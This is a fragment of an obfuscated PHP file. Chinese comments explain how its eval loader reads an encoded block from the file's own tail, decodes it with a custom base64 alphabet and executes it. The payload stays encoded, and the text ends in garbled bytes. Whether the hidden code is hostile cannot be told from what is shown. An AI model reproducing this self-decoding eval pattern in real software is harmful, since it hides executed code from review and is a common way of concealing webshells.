$OOO000000

{16}; 

// $O0O00OO00 = 'fread' 

$OOO00000O

=

$OOO000000

{3}.

$OOO000000

{14}.

$OOO000000

{8}.

$OOO000000

{14}.

$OOO000000

{8}; 

// $OOO00000O = 'strtr' 

$OOO0O0O00

=

__FILE__

; 

//取得当前文件路径和文件名 

$OO00O0000

=0x100; 

 

eval

(

$OOO0000O0

('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk

7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NTI2KTskT08wME8wME8wPSRPT08wMDA
wTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdaQn
hMYkZtQzYybHBja1hQYWRyR1VIOTRLN1FOUzVWdlJXenlpL2dPMEFUWU1EcXRvZkVJ
dStoZTNqd0oxOG5zPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpa
mtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs=')
); 

/* 解出的结果是 
$O000O0O00=$OOO000O00($OOO0O0O00,'rb');$O0O00OO00($O000O0O00,0x526);
$OO00O00O0=$OOO0000O0($OOO00000O($O0O00OO00($O000O0O00,0x17c),'ZBxLbFmC
62lpckXPadrGUH94K7QNS5VvRWzyi/gO0ATYMDqtofEIu+he3jwJ18ns=','ABCDEFGHIJKL
MNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'));eval($OO00O00O0); 

 

还原得并等价替换可得

 

$fp=fopen(__FILE__,'rb'); 
fread($fp,0x526); 
$buf = fread($fp,0x17c); 
$str=base64_decode(strtr($buf,'ZBxLbFmC62lpckXPadrGUH94K7QNS5VvRWzyi/gO0ATYMD
qtofEIu+he3jwJ18ns=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0
123456789+/')); 
eval($str); 
*/

 

return

;?

>eu~fQ\FRCgGpG@Lo`oQ2b8PcLBPcLBPcL+I5C2vSgHoNmFy7rRO4+8mrUfF4+1Opx6O6z3
iGu8Pcb1oGIZopz6O6zoiGu8PcLZocb1olxdPGu1ocLZocb102b1oGIZoGu1ocxRiGIZocb1oGIZ
opxdPGIZoGIZocLZApx5QaOWcKi7DaIKENCByQ+WaK9dEd+H6XGdpk+FXUIH95/24VO/A
ph5PcbFU9U+bS4dt7iH25rD07GkT5u0fXmjIPrSM2uFxaudFdi56rUApGb+XG+BdU/kUHH749
F/QK92y7mHg7hWAQgDMN9jtSCFESed+5O53V40ocG6IkLUhkIRjlE1OlriAXh7yNm8I7rRiG
IZocb1oGIZolGD/5gFMlxdPGIZoGIZoGIZAXo==xzd2rU/2rU/2rU/Mc9oRPrZidufPaiFcU+MOr
U/2rU/2rU/2NLbf2+u02hfAKz8yNhjgQ9SqSmWo2EiJxg/g6xRirU/2rU/2rU/2NLFM6Lu8PrBuS
OH/laAJ2b5cGu2BGFkN2u/2rU/2rU/2rU/2rr55lx2cNhkW5m/tNy0RQxjoQCZzlGD8xgHMShUl
VEdCGb8xaUfG9E52rU/2rU/2rU/2rUiO4rRzGm8yK4dANh3w6m/qSedWNmozlGD8xR==kLH
g JcZ[ZM